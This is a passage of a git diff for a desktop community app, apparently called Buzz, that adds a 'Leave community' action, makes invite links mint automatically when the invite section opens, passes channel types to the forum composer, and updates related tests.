+      throw new Error("Timed out while leaving the community. Try again.");
+    }
+    throw error;
+  } finally {
+    client.disconnect();
+  }
+}
diff --git a/desktop/src/features/communities/resolveCommunityRemoval.test.mjs b/desktop/src/features/communities/resolveCommunityRemoval.test.mjs
new file mode 100644
index 0000000000..6d24ee4db1
--- /dev/null
+++ b/desktop/src/features/communities/resolveCommunityRemoval.test.mjs
@@ -0,0 +1,28 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { resolveCommunityRemoval } from "./useCommunities.tsx";
+
+const alpha = { id: "alpha", name: "Alpha", relayUrl: "wss://alpha" };
+const beta = { id: "beta", name: "Beta", relayUrl: "wss://beta" };
+
+test("removing the final community clears the active community", () => {
+  assert.deepEqual(resolveCommunityRemoval([alpha], "alpha", "alpha"), {
+    communities: [],
+    activeId: null,
+  });
+});
+
+test("removing the active community selects a clean fallback", () => {
+  assert.deepEqual(resolveCommunityRemoval([alpha, beta], "alpha", "alpha"), {
+    communities: [beta],
+    activeId: "beta",
+  });
+});
+
+test("removing an inactive community preserves the active community", () => {
+  assert.deepEqual(resolveCommunityRemoval([alpha, beta], "alpha", "beta"), {
+    communities: [alpha],
+    activeId: "alpha",
+  });
+});
diff --git a/desktop/src/features/communities/ui/AddCommunityDialog.tsx b/desktop/src/features/communities/ui/AddCommunityDialog.tsx
index e4f105471a..a83456652c 100644
--- a/desktop/src/features/communities/ui/AddCommunityDialog.tsx
+++ b/desktop/src/features/communities/ui/AddCommunityDialog.tsx
@@ -55,12 +55,10 @@ export function AddCommunityDialog({
       relayUrl,
       inviteCode,
       policyReceipt,
-      token,
     }: {
       relayUrl: string;
       inviteCode?: string;
       policyReceipt?: string;
-      token?: string;
     }) => {
       const started = communityOnboarding.start({
         source: "add-community",
@@ -68,7 +66,6 @@ export function AddCommunityDialog({
         inviteCode,
         communityName: prefill?.name,
         policyReceipt,
-        token,
       });
       if (!started) {
         setJoinError(
@@ -185,9 +182,7 @@ export function AddCommunityDialog({
                 setJoinError(null);
                 setMode("choose");
               }}
-              onConnect={(relayUrl, token) =>
-                startConnection({ relayUrl, token })
-              }
+              onConnect={(relayUrl) => startConnection({ relayUrl })}
               onRedeem={(relayUrl, inviteCode, policyReceipt) =>
                 startConnection({ relayUrl, inviteCode, policyReceipt })
               }
diff --git a/desktop/src/features/communities/ui/CommunitySwitcher.tsx b/desktop/src/features/communities/ui/CommunitySwitcher.tsx
index 985d28fa8e..cd530e6908 100644
--- a/desktop/src/features/communities/ui/CommunitySwitcher.tsx
+++ b/desktop/src/features/communities/ui/CommunitySwitcher.tsx
@@ -6,11 +6,14 @@ import {
   MoreHorizontal,
   Plus,
   Settings2,
+  LogOut,
   Ticket,
   WifiOff,
 } from "lucide-react";
 import * as React from "react";
+import { toast } from "sonner";
 
+import type { LeaveCommunityResult } from "@/features/communities/leaveCommunity";
 import type { Community } from "@/features/communities/types";
 import {
   DropdownMenu,
@@ -57,7 +60,7 @@ type CommunitySwitcherProps = {
     id: string,
     updates: Partial<Pick<Community, "name" | "relayUrl" | "token">>,
   ) => void;
-  onRemoveCommunity: (id: string) => void;
+  onRemoveCommunity: (id: string) => Promise<LeaveCommunityResult | undefined>;
 };
 
 export function CommunityEmojiIcon({
@@ -103,6 +106,8 @@ export function CommunitySwitcher({
   const [editingCommunity, setEditingCommunity] =
     React.useState<Community | null>(null);
   const [dropdownOpen, setDropdownOpen] = React.useState(false);
+  const [leaveError, setLeaveError] = React.useState<string | null>(null);
+  const [isLeaving, setIsLeaving] = React.useState(false);
   const profileMenuHoverTimer = React.useRef<number | null>(null);
   const connectionState = useRelayConnection();
   const degraded = isRelayConnectionDegraded(connectionState);
@@ -147,6 +152,36 @@ export function CommunitySwitcher({
     [],
   );
 
+  const handleLeaveCommunity = React.useCallback(async () => {
+    if (!activeCommunity || isLeaving) return;
+
+    if (profileMenuHoverTimer.current !== null) {
+      window.clearTimeout(profileMenuHoverTimer.current);
+      profileMenuHoverTimer.current = null;
+    }
+    setIsLeaving(true);
+    setLeaveError(null);
+    try {
+      const result = await onRemoveCommunity(activeCommunity.id);
+      setDropdownOpen(false);
+      if (result?.status === "already-absent") {
+        toast("Community removed", {
+          description:
+            "You were no longer a member, so Buzz removed the community from this device.",
+        });
+      }
+    } catch (error) {
+      setLeaveError(
+        error instanceof Error
+          ? error.message
+          : "Couldn't leave the community. Try again.",
+      );
+      setDropdownOpen(true);
+    } finally {
+      setIsLeaving(false);
+    }
+  }, [activeCommunity, isLeaving, onRemoveCommunity]);
+
   const triggerContent = (
     <>
       {degraded ? (
@@ -278,6 +313,24 @@ export function CommunitySwitcher({
                   <Settings2 className="h-4 w-4" />
                   <span>Community settings</span>
                 </button>
+                <button
+                  className="flex min-h-9 w-full items-center gap-2 rounded-lg px-3 py-2 text-left text-sm text-destructive outline-hidden transition-colors hover:bg-destructive/10 focus:bg-destructive/10 focus:outline-none focus-visible:bg-destructive/10 focus-visible:outline-none disabled:pointer-events-none disabled:opacity-50"
+                  disabled={isLeaving}
+                  onClick={() => void handleLeaveCommunity()}
+                  role="menuitem"
+                  type="button"
+                >
+                  <LogOut className="h-4 w-4" />
+                  <span>{isLeaving ? "Leaving…" : "Leave community"}</span>
+                </button>
+                {leaveError ? (
+                  <p
+                    className="px-3 py-1 text-xs text-destructive"
+                    role="alert"
+                  >
+                    {leaveError}
+                  </p>
+                ) : null}
                 <hr className="-mx-1 my-1 h-px border-0 bg-muted" />
               </>
             ) : null}
@@ -391,11 +444,9 @@ export function CommunitySwitcher({
       )}
 
       <EditCommunityDialog
-        canRemove={communities.length > 1}
         onOpenChange={(open) => {
           if (!open) setEditingCommunity(null);
         }}
-        onRemove={onRemoveCommunity}
         onSave={onUpdateCommunity}
         open={editingCommunity !== null}
         community={editingCommunity}
diff --git a/desktop/src/features/communities/ui/EditCommunityDialog.tsx b/desktop/src/features/communities/ui/EditCommunityDialog.tsx
index 3b963979bc..3baa52372e 100644
--- a/desktop/src/features/communities/ui/EditCommunityDialog.tsx
+++ b/desktop/src/features/communities/ui/EditCommunityDialog.tsx
@@ -28,8 +28,6 @@ type EditCommunityDialogProps = {
       Pick<Community, "name" | "relayUrl" | "token" | "reposDir">
     >,
   ) => void;
-  onRemove?: (id: string) => void;
-  canRemove?: boolean;
   showIconEditor?: boolean;
 };
 
@@ -38,8 +36,6 @@ export function EditCommunityDialog({
   open,
   onOpenChange,
   onSave,
-  onRemove,
-  canRemove,
   showIconEditor = false,
 }: EditCommunityDialogProps) {
   const [name, setName] = React.useState("");
@@ -122,13 +118,6 @@ export function EditCommunityDialog({
     [community, name, relayUrl, token, reposDir, onSave, handleClose],
   );
 
-  const handleRemove = React.useCallback(() => {
-    if (community && onRemove) {
-      onRemove(community.id);
-      handleClose();
-    }
-  }, [community, onRemove, handleClose]);
-
   if (!community) {
     return null;
   }
@@ -235,28 +224,13 @@ export function EditCommunityDialog({
               the default location.
             </p>
           </div>
-          <div className="flex items-center justify-between pt-2">
-            <div>
-              {canRemove && onRemove ? (
-                <Button
-                  className="text-destructive hover:text-destructive"
-                  onClick={handleRemove}
-                  size="sm"
-                  type="button"
-                  variant="ghost"
-                >
-                  Remove Community
-                </Button>
-              ) : null}
-            </div>
-            <div className="flex gap-2">
-              <Button onClick={handleClose} type="button" variant="outline">
-                Cancel
-              </Button>
-              <Button disabled={!name.trim() || !relayUrl.trim()} type="submit">
-                Save Changes
-              </Button>
-            </div>
+          <div className="flex justify-end gap-2 pt-2">
+            <Button onClick={handleClose} type="button" variant="outline">
+              Cancel
+            </Button>
+            <Button disabled={!name.trim() || !relayUrl.trim()} type="submit">
+              Save Changes
+            </Button>
           </div>
         </form>
       </DialogContent>
diff --git a/desktop/src/features/communities/ui/WelcomeSetup.tsx b/desktop/src/features/communities/ui/WelcomeSetup.tsx
index bde1458222..530933acc2 100644
--- a/desktop/src/features/communities/ui/WelcomeSetup.tsx
+++ b/desktop/src/features/communities/ui/WelcomeSetup.tsx
@@ -27,7 +27,7 @@ type WelcomeTransitionMode = "initial" | OnboardingTransitionDirection;
 type WelcomeSetupProps = {
   initialPage?: WelcomeSetupPage;
   initialTransitionMode?: WelcomeTransitionMode;
-  onBack: () => void;
+  onBack?: () => void;
 };
 
 const COMMUNITY_OPTION_CARD_CLASS =
@@ -164,17 +164,19 @@ export function WelcomeSetup({
                   </button>
                 </Card>
               </div>
-              <OnboardingFooter>
-                <Button
-                  className="h-9 rounded-full bg-foreground/10 px-6 hover:bg-foreground/15"
-                  data-testid="welcome-setup-back"
-                  onClick={onBack}
-                  type="button"
-                  variant="ghost"
-                >
-                  Back
-                </Button>
-              </OnboardingFooter>
+              {onBack ? (
+                <OnboardingFooter>
+                  <Button
+                    className="h-9 rounded-full bg-foreground/10 px-6 hover:bg-foreground/15"
+                    data-testid="welcome-setup-back"
+                    onClick={onBack}
+                    type="button"
+                    variant="ghost"
+                  >
+                    Back
+                  </Button>
+                </OnboardingFooter>
+              ) : null}
             </OnboardingSlideTransition>
           ) : page === "existing" ? (
             <OnboardingSlideTransition
diff --git a/desktop/src/features/communities/useCommunities.tsx b/desktop/src/features/communities/useCommunities.tsx
index df019519b6..e0a1001788 100644
--- a/desktop/src/features/communities/useCommunities.tsx
+++ b/desktop/src/features/communities/useCommunities.tsx
@@ -17,6 +17,7 @@ import {
   saveCommunities,
 } from "./communityStorage";
 import { removeSelfProfileCachesForRelay } from "@/features/profile/lib/selfProfileStorage";
+import { removeUserLabelCacheForRelay } from "@/features/profile/lib/userLabelStorage";
 import { removeChannelSnapshotForRelay } from "@/features/channels/channelSnapshot";
 import { removeMessageSnapshotsForRelay } from "@/features/messages/lib/messageSnapshot";
 import { clearSavedCommunitySnapshot } from "@/features/agents/activeAgentTurnsStore";
@@ -112,6 +113,23 @@ export function applyCommunitiesOrder(
   return reordered;
 }
 
+export type CommunityRemovalResult = {
+  communities: Community[];
+  activeId: string | null;
+};
+
+export function resolveCommunityRemoval(
+  communities: Community[],
+  activeId: string | null,
+  id: string,
+): CommunityRemovalResult {
+  const next = communities.filter((community) => community.id !== id);
+  return {
+    communities: next,
+    activeId: activeId === id ? (next[0]?.id ?? null) : activeId,
+  };
+}
+
 export type UseCommunitiesReturn = {
   communities: Community[];
   activeCommunity: Community | null;
@@ -205,39 +223,39 @@ function useCommunitiesInternal(): UseCommunitiesReturn {
 
   const removeCommunity = useCallback(
     (id: string) => {
-      // GC self-profile caches for the removed community's relay. Mirror the
-      // updater guard (length > 1) so we only GC when removal will actually
-      // proceed. Runs outside the updater — updaters can execute twice under
+      const removed = communitiesRef.current.find(
+        (community) => community.id === id,
+      );
+      if (!removed) return;
+
+      // Relay membership is revoked by the caller before this local cleanup.
+      // Keep side effects outside the updater — updaters can execute twice under
       // React StrictMode.
-      if (communities.length > 1) {
-        const removed = communities.find((w) => w.id === id);
-        if (removed) {
-          removeSelfProfileCachesForRelay(removed.relayUrl);
-          removeChannelSnapshotForRelay(removed.relayUrl);
-          removeMessageSnapshotsForRelay(removed.relayUrl);
-          clearSavedCommunitySnapshot(id);
-          removeCommunityDestination(id);
-        }
-      }
+      removeSelfProfileCachesForRelay(removed.relayUrl);
+      removeUserLabelCacheForRelay(removed.relayUrl);
+      removeChannelSnapshotForRelay(removed.relayUrl);
+      removeMessageSnapshotsForRelay(removed.relayUrl);
+      clearSavedCommunitySnapshot(id);
+      removeCommunityDestination(id);
 
       setCommunitiesState((prev) => {
-        // Never allow removing the last community
-        if (prev.length <= 1) {
-          return prev;
-        }
-        const next = prev.filter((w) => w.id !== id);
-        saveCommunities(next);
-
-        // If removing the active community, switch to first remaining
-        if (activeId === id && next.length > 0) {
-          saveActiveCommunityId(next[0].id);
-          setActiveId(next[0].id);
+        const result = resolveCommunityRemoval(prev, activeId, id);
+        if (result.communities.length === 0) {
+          clearCommunityStorage();
+          setActiveId(null);
+        } else {
+          saveCommunities(result.communities);
+
+          if (result.activeId !== activeId && result.activeId) {
+            saveActiveCommunityId(result.activeId);
+            setActiveId(result.activeId);
+          }
         }
 
-        return next;
+        return result.communities;
       });
     },
-    [activeId, communities],
+    [activeId],
   );
 
   const switchCommunity = useCallback(
diff --git a/desktop/src/features/communities/useCommunityInit.ts b/desktop/src/features/communities/useCommunityInit.ts
index afa69f913f..baf1261310 100644
--- a/desktop/src/features/communities/useCommunityInit.ts
+++ b/desktop/src/features/communities/useCommunityInit.ts
@@ -13,12 +13,14 @@ import { getIdentity } from "@/shared/api/tauriIdentity";
 import { clearTrayAgentActivity } from "@/shared/api/trayMenu";
 import { getOverrides } from "@/shared/features";
 import { resetMediaCaches } from "@/shared/lib/mediaUrl";
+import { resetLinkPreviewTitleCache } from "@/shared/lib/useResolvedLinkPreviews";
 import { clearSearchHitEventCache } from "@/app/navigation/searchHitEventCache";
 import {
   clearAllDrafts,
   initDraftStore,
 } from "@/features/messages/lib/useDrafts";
 import { resetRenderScopedReactionHydration } from "@/features/messages/lib/renderScopedReactions";
+import { resetBackgroundMediaUploads } from "@/features/messages/lib/backgroundMediaUploadStore";
 import {
   resetActiveAgentTurnsStore,
   saveActiveAgentTurnsForCommunity,
@@ -67,8 +69,10 @@ function resetCommunityState({
   resetMediaCaches();
   resetVideoPlayerState();
   resetRenderScopedReactionHydration();
+  resetBackgroundMediaUploads();
   clearSearchHitEventCache();
   clearMarkdownNodeCache();
+  resetLinkPreviewTitleCache();
 }
 
 type CommunityInitResult =
@@ -93,6 +97,7 @@ export function useCommunityInit(
   activeCommunity: Community | null,
   communityKey: string,
   isSharedIdentity: boolean,
+  suppressAutoConnect = false,
 ): CommunityInitResult {
   const [result, setResult] = useState<CommunityInitResult>({
     isReady: false,
@@ -118,6 +123,15 @@ export function useCommunityInit(
 
     async function init() {
       if (!activeCommunity) {
+        if (hasInitializedRef.current) {
+          if (prevCommunityIdRef.current) {
+            saveActiveAgentTurnsForCommunity(prevCommunityIdRef.current);
+            prevCommunityIdRef.current = null;
+          }
+          resetCommunityState({ resetAvatarState: true });
+          appliedRelayUrlRef.current = null;
+          hasInitializedRef.current = false;
+        }
         try {
           const defaultRelayUrl = await getDefaultRelayUrl();
           const autoConnectDefaultRelay =
@@ -127,9 +141,10 @@ export function useCommunityInit(
           // relay as the first community. Public builds retain community
           // selection even when BUZZ_RELAY_URL is overridden at runtime.
           if (
-            isSharedIdentity ||
-            (autoConnectDefaultRelay &&
-              shouldAutoConnectDefaultRelay(defaultRelayUrl))
+            !suppressAutoConnect &&
+            (isSharedIdentity ||
+              (autoConnectDefaultRelay &&
+                shouldAutoConnectDefaultRelay(defaultRelayUrl)))
           ) {
             const identity = await getIdentity();
             if (cancelled) return;
@@ -286,6 +301,7 @@ export function useCommunityInit(
     activeCommunity?.token,
     activeCommunity?.reposDir,
     isSharedIdentity,
+    suppressAutoConnect,
     communityKey,
   ]);
 
diff --git a/desktop/src/features/community-members/ui/CommunityInviteDialog.tsx b/desktop/src/features/community-members/ui/CommunityInviteDialog.tsx
index c5cabc26a6..95500dd8a6 100644
--- a/desktop/src/features/community-members/ui/CommunityInviteDialog.tsx
+++ b/desktop/src/features/community-members/ui/CommunityInviteDialog.tsx
@@ -12,6 +12,7 @@ import {
   DEFAULT_INVITE_TTL_SECS,
   InviteLinkSection,
 } from "./InviteLinkSection";
+import { Separator } from "@/shared/ui/separator";
 
 export function CommunityInviteDialog({
   isOwner,
@@ -25,7 +26,9 @@ export function CommunityInviteDialog({
   const [ttlSecs, setTtlSecs] = React.useState(DEFAULT_INVITE_TTL_SECS);
 
   React.useEffect(() => {
-    if (open) setTtlSecs(DEFAULT_INVITE_TTL_SECS);
+    // Reset after the link section has unmounted so reopening never mints an
+    // invite with the previous dialog session's expiry.
+    if (!open) setTtlSecs(DEFAULT_INVITE_TTL_SECS);
   }, [open]);
 
   return (
@@ -49,10 +52,17 @@ export function CommunityInviteDialog({
           />
         </section>
 
+        <div
+          className="relative flex items-center py-2"
+          data-testid="invite-options-divider"
+        >
+          <Separator className="bg-input/40" />
+          <span className="absolute left-1/2 -translate-x-1/2 bg-background px-3 text-sm text-muted-foreground">
+            Or, copy a link
+          </span>
+        </div>
+
         <section className="space-y-3">
-          <p className="text-2xs font-medium text-secondary-foreground/75">
-            Link settings
-          </p>
           <InviteLinkSection onTtlSecsChange={setTtlSecs} ttlSecs={ttlSecs} />
         </section>
       </DialogContent>
diff --git a/desktop/src/features/community-members/ui/CommunityMembersSettingsCard.tsx b/desktop/src/features/community-members/ui/CommunityMembersSettingsCard.tsx
index 9a24171316..d861fae802 100644
--- a/desktop/src/features/community-members/ui/CommunityMembersSettingsCard.tsx
+++ b/desktop/src/features/community-members/ui/CommunityMembersSettingsCard.tsx
@@ -11,6 +11,7 @@ import {
 } from "@/features/community-members/hooks";
 import { useUsersBatchQuery } from "@/features/profile/hooks";
 import { ProfileAvatar } from "@/features/profile/ui/ProfileAvatar";
+import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
 import { SettingsSectionHeader } from "@/features/settings/ui/SettingsSectionHeader";
 import type {
   RelayMember,
@@ -129,11 +130,17 @@ function RelayMemberRow({
       className="group/member flex min-h-14 items-center gap-3 px-1 py-2.5"
       data-testid={`relay-member-row-${member.pubkey}`}
     >
-      <ProfileAvatar
-        avatarUrl={profile?.avatarUrl ?? null}
-        className="h-9 w-9 text-xs shadow-none"
-        label={displayName}
-      />
+      <UserProfilePopover
+        pubkey={member.pubkey}
+        triggerAriaLabel={`Open profile for ${displayName}`}
+        triggerElement="span"
+      >
+        <ProfileAvatar
+          avatarUrl={profile?.avatarUrl ?? null}
+          className="h-9 w-9 text-xs shadow-none"
+          label={displayName}
+        />
+      </UserProfilePopover>
       <div className="min-w-0 flex-1">
         <div className="flex min-w-0 items-center gap-1.5 text-sm font-medium">
           <HoverMemberIdentity
diff --git a/desktop/src/features/community-members/ui/InviteLinkSection.tsx b/desktop/src/features/community-members/ui/InviteLinkSection.tsx
index 05b4687289..84232f26da 100644
--- a/desktop/src/features/community-members/ui/InviteLinkSection.tsx
+++ b/desktop/src/features/community-members/ui/InviteLinkSection.tsx
@@ -1,4 +1,5 @@
-import { Check, ChevronDown, Link2 } from "lucide-react";
+import { Check, ChevronDown } from "lucide-react";
+import { motion, useReducedMotion } from "motion/react";
 import * as React from "react";
 import { toast } from "sonner";
 
@@ -12,7 +13,7 @@ import {
   DropdownMenuRadioItem,
   DropdownMenuTrigger,
 } from "@/shared/ui/dropdown-menu";
-import { Separator } from "@/shared/ui/separator";
+import { Input } from "@/shared/ui/input";
 import { Spinner } from "@/shared/ui/spinner";
 
 const TTL_OPTIONS: { label: string; value: number }[] = [
@@ -34,13 +35,14 @@ const MAX_USE_OPTIONS: { label: string; value: number | null }[] = [
 export const DEFAULT_INVITE_TTL_SECS = TTL_OPTIONS[1].value;
 
 type CopyStatus = "idle" | "copying" | "copied";
+type GenerationStatus = "idle" | "generating" | "failed";
 
 /**
  * Share-with-link footer for the community invite dialog.
  *
- * Each copy action mints a fresh database-backed invite code and places its
- * shareable landing-page URL on the clipboard. Invites may be unlimited or
- * capped to a caller-selected number of successful joins.
+ * A database-backed invite link is minted when this section opens and whenever
+ * its settings change. Invites may be unlimited or capped to a caller-selected
+ * number of successful joins.
  */
 export function InviteLinkSection({
   onTtlSecsChange,
@@ -50,18 +52,40 @@ export function InviteLinkSection({
   ttlSecs: number;
 }) {
   const [copyStatus, setCopyStatus] = React.useState<CopyStatus>("idle");
+  const [generationStatus, setGenerationStatus] =
+    React.useState<GenerationStatus>("generating");
+  const [inviteUrl, setInviteUrl] = React.useState("");
   const [maxUses, setMaxUses] = React.useState<number | null>(null);
+  const generationRequestId = React.useRef(0);
+  // React StrictMode replays effects in development. Keep one in-flight mint
+  // per setting set so the replay observes the original request instead of
+  // creating a second durable invite.
+  const inviteRequests = React.useRef(
+    new Map<string, ReturnType<typeof mintInvite>>(),
+  );
+  const shouldReduceMotion = useReducedMotion();
   const ttlLabel =
     TTL_OPTIONS.find((option) => option.value === ttlSecs)?.label ?? "3 days";
   const maxUsesLabel =
     MAX_USE_OPTIONS.find((option) => option.value === maxUses)?.label ??
     "No limit";
-  const copyLabel =
-    copyStatus === "copying"
-      ? "Copying…"
-      : copyStatus === "copied"
-        ? "Copied"
-        : "Copy link";
+  const isGenerating = generationStatus === "generating";
+  const hasGenerationFailed = generationStatus === "failed";
+  const inviteSettingsKey = `${ttlSecs}:${maxUses ?? "no-limit"}`;
+  const isWorking = isGenerating || copyStatus === "copying";
+  const copyLabel = hasGenerationFailed
+    ? "Retry"
+    : copyStatus === "copied"
+      ? "Copied"
+      : "Copy link";
+  const copyButtonWidth = isWorking
+    ? "6.25rem"
+    : copyStatus === "copied"
+      ? "5.25rem"
+      : "4.5rem";
+  const copyButtonTransition = shouldReduceMotion
+    ? { duration: 0 }
+    : { duration: 0.12, ease: [0.77, 0, 0.175, 1] as const };
 
   React.useEffect(() => {
     if (copyStatus !== "copied") return;
@@ -69,12 +93,55 @@ export function InviteLinkSection({
     return () => window.clearTimeout(resetTimer);
   }, [copyStatus]);
 
+  const generateInviteLink = React.useCallback(async () => {
+    const requestId = generationRequestId.current + 1;
+    generationRequestId.current = requestId;
+    setGenerationStatus("generating");
+    setInviteUrl("");
+    setCopyStatus("idle");
+    const existingRequest = inviteRequests.current.get(inviteSettingsKey);
+    const inviteRequest = existingRequest ?? mintInvite({ ttlSecs, maxUses });
+    if (!existingRequest) {
+      inviteRequests.current.set(inviteSettingsKey, inviteRequest);
+    }
+
+    try {
+      const invite = await inviteRequest;
+      if (inviteRequests.current.get(inviteSettingsKey) === inviteRequest) {
+        inviteRequests.current.delete(inviteSettingsKey);
+      }
+      if (generationRequestId.current === requestId) {
+        setInviteUrl(invite.url);
+        setGenerationStatus("idle");
+      }
+    } catch {
+      if (inviteRequests.current.get(inviteSettingsKey) === inviteRequest) {
+        inviteRequests.current.delete(inviteSettingsKey);
+      }
+      if (generationRequestId.current === requestId) {
+        setGenerationStatus("failed");
+        toast.error("Couldn’t create an invite link.");
+      }
+    }
+  }, [inviteSettingsKey, maxUses, ttlSecs]);
+
+  React.useEffect(() => {
+    void generateInviteLink();
+    return () => {
+      generationRequestId.current += 1;
+    };
+  }, [generateInviteLink]);
+
+  function retryInviteGeneration() {
+    if (!hasGenerationFailed) return;
+    void generateInviteLink();
+  }
+
   async function handleCopy() {
-    if (copyStatus === "copying") return;
+    if (!inviteUrl || isGenerating || copyStatus === "copying") return;
     setCopyStatus("copying");
     try {
-      const invite = await mintInvite({ ttlSecs, maxUses });
-      await writeTextToClipboard(invite.url);
+      await writeTextToClipboard(inviteUrl);
       setCopyStatus("copied");
       toast.success("Invite link copied");
     } catch {
@@ -85,7 +152,60 @@ export function InviteLinkSection({
 
   return (
     <section data-testid="community-invite-link-section">
-      <div className="space-y-3">
+      <div className="relative">
+        <Input
+          aria-label="Community invite link"
+          className="h-11 pr-28 text-transparent caret-transparent selection:bg-transparent"
+          data-testid="invite-link-url"
+          disabled={isGenerating}
+          placeholder={
+            hasGenerationFailed
+              ? "Couldn’t create invite link"
+              : "Creating invite link…"
+          }
+          readOnly
+          value={inviteUrl}
+        />
+        {inviteUrl ? (
+          <span
+            aria-hidden="true"
+            className="pointer-events-none absolute inset-y-0 left-3 right-28 flex items-center truncate text-sm text-muted-foreground"
+            data-testid="invite-link-preview"
+          >
+            {inviteUrl}
+          </span>
+        ) : null}
+        <motion.div
+          className="absolute right-1 top-1"
+          animate={{ width: copyButtonWidth }}
+          initial={false}
+          transition={copyButtonTransition}
+        >
+          <Button
+            className="h-9 w-full px-3"
+            data-copy-status={copyStatus}
+            data-testid="copy-invite-link"
+            disabled={
+              !hasGenerationFailed &&
+              (isGenerating || !inviteUrl || copyStatus === "copying")
+            }
+            onClick={() =>
+              hasGenerationFailed ? retryInviteGeneration() : void handleCopy()
+            }
+            size="sm"
+            type="button"
+          >
+            {isWorking ? (
+              <Spinner aria-hidden="true" className="h-4 w-4 border-2" />
+            ) : copyStatus === "copied" ? (
+              <Check aria-hidden="true" className="h-4 w-4" />
+            ) : null}
+            {copyLabel}
+          </Button>
+        </motion.div>
+      </div>
+
+      <div className="mt-3 space-y-3">
         <div className="flex items-center justify-between gap-4">
           <span className="text-sm font-medium">Expires after</span>
           <DropdownMenu>
@@ -94,7 +214,7 @@ export function InviteLinkSection({
                 aria-label="Choose invite expiry"
                 className="h-8 shrink-0 gap-1.5 px-2 text-sm text-muted-foreground"
                 data-testid="invite-link-ttl-trigger"
-                disabled={copyStatus === "copying"}
+                disabled={isGenerating || copyStatus === "copying"}
                 size="sm"
                 type="button"
                 variant="ghost"
@@ -129,7 +249,7 @@ export function InviteLinkSection({
                 aria-label="Choose maximum invite uses"
                 className="h-8 shrink-0 gap-1.5 px-2 text-sm text-muted-foreground"
                 data-testid="invite-link-max-uses-trigger"
-                disabled={copyStatus === "copying"}
+                disabled={isGenerating || copyStatus === "copying"}
                 size="sm"
                 type="button"
                 variant="ghost"
@@ -159,28 +279,6 @@ export function InviteLinkSection({
           </DropdownMenu>
         </div>
       </div>
-      <Separator className="my-4 bg-input/40" />
-      <div className="flex justify-end">
-        <Button
-          className="shrink-0 border-border shadow-none"
-          data-copy-status={copyStatus}
-          data-testid="copy-invite-link"
-          disabled={copyStatus === "copying"}
-          onClick={() => void handleCopy()}
-          size="sm"
-          type="button"
-          variant="outline"
-        >
-          {copyStatus === "copying" ? (
-            <Spinner aria-hidden="true" className="h-4 w-4 border-2" />
-          ) : copyStatus === "copied" ? (
-            <Check aria-hidden="true" className="h-4 w-4" />
-          ) : (
-            <Link2 aria-hidden="true" className="h-4 w-4" />
-          )}
-          {copyLabel}
-        </Button>
-      </div>
     </section>
   );
 }
diff --git a/desktop/src/features/forum/ui/ForumComposer.tsx b/desktop/src/features/forum/ui/ForumComposer.tsx
index 79dab559c4..625dc17360 100644
--- a/desktop/src/features/forum/ui/ForumComposer.tsx
+++ b/desktop/src/features/forum/ui/ForumComposer.tsx
@@ -36,6 +36,7 @@ import { useCompactComposerInteractions } from "./useCompactComposerInteractions
 
 export function ForumComposer({
   channelId = null,
+  channelType,
   members,
   className,
   placeholder,
@@ -69,7 +70,7 @@ export function ForumComposer({
     if (compact) setIsCompactExpanded(true);
   }, [compact]);
 
-  const mentions = useMentions(channelId, members, profiles);
+  const mentions = useMentions(channelId, members, profiles, { channelType });
   const channelLinks = useChannelLinks();
   const media = useMediaUpload();
   const { handlePaperclipClick, handleToolbarMouseDown, shouldIgnoreBlur } =
diff --git a/desktop/src/features/forum/ui/ForumComposer.types.ts b/desktop/src/features/forum/ui/ForumComposer.types.ts
index a20e750186..bd3d9d2ef7 100644
--- a/desktop/src/features/forum/ui/ForumComposer.types.ts
+++ b/desktop/src/features/forum/ui/ForumComposer.types.ts
@@ -1,10 +1,12 @@
 import type * as React from "react";
 
 import type { UserProfileLookup } from "@/features/profile/lib/identity";
-import type { ChannelMember } from "@/shared/api/types";
+import type { ChannelMember, ChannelType } from "@/shared/api/types";
 
 export type ForumComposerProps = {
   channelId?: string | null;
+  /** Known channel type for channel-backed composers; omitted uses fail closed. */
+  channelType?: ChannelType | null;
   /** Override mention source when no channel is available (e.g. Pulse). */
   members?: ChannelMember[];
   className?: string;
diff --git a/desktop/src/features/forum/ui/ForumThreadPanel.tsx b/desktop/src/features/forum/ui/ForumThreadPanel.tsx
index c6f1bfa6c1..0e884dd247 100644
--- a/desktop/src/features/forum/ui/ForumThreadPanel.tsx
+++ b/desktop/src/features/forum/ui/ForumThreadPanel.tsx
@@ -293,6 +293,7 @@ export function ForumThreadPanel({
       <div className="border-t border-border/60 p-4">
         <ForumComposer
           channelId={channelId}
+          channelType="forum"
           isSending={isSendingReply}
           onSubmit={onReply}
           placeholder="Reply to this post..."
diff --git a/desktop/src/features/forum/ui/ForumView.tsx b/desktop/src/features/forum/ui/ForumView.tsx
index b1f079b971..9efada5549 100644
--- a/desktop/src/features/forum/ui/ForumView.tsx
+++ b/desktop/src/features/forum/ui/ForumView.tsx
@@ -168,6 +168,7 @@ export function ForumView({
           <ForumComposer
             autocompleteBelow
             channelId={channel.id}
+            channelType="forum"
             isSending={createPostMutation.isPending}
             onCancel={() => setIsComposerOpen(false)}
             onSubmit={async (content, mentionPubkeys, mediaTags) => {
diff --git a/desktop/src/features/home/lib/projectInbox.test.mjs b/desktop/src/features/home/lib/projectInbox.test.mjs
index 040f54e847..e82fccb79e 100644
--- a/desktop/src/features/home/lib/projectInbox.test.mjs
+++ b/desktop/src/features/home/lib/projectInbox.test.mjs
@@ -34,13 +34,21 @@ function feedItem(overrides = {}) {
   };
 }
 
-const project = {
+const repository = {
   id: "buzz",
+  dtag: "buzz",
   name: "Buzz",
   owner: OWNER,
   repoAddress: REPO_ADDRESS,
 };
 
+const project = {
+  id: "buzz-project",
+  name: "Buzz",
+  owner: OWNER,
+  repositories: [repository],
+};
+
 const pullRequest = {
   id: PR_ID,
   author: OWNER,
@@ -109,11 +117,11 @@ test("resolves the canonical project root from status and comment events", () =>
 test("matches a selected inbox event to its canonical pull request or issue", () => {
   const workItems = {
     pullRequests: {
-      items: [{ project, pullRequest }],
+      items: [{ project, repository, pullRequest }],
       failedSections: [],
     },
     issues: {
-      items: [{ project, issue }],
+      items: [{ project, repository, issue }],
       failedSections: [],
     },
   };
@@ -121,6 +129,7 @@ test("matches a selected inbox event to its canonical pull request or issue", ()
   assert.deepEqual(resolveProjectInboxWorkItem(feedItem(), workItems), {
     type: "pull-request",
     project,
+    repository,
     pullRequest,
   });
   assert.deepEqual(
@@ -139,6 +148,7 @@ test("matches a selected inbox event to its canonical pull request or issue", ()
     {
       type: "issue",
       project,
+      repository,
       issue,
     },
   );
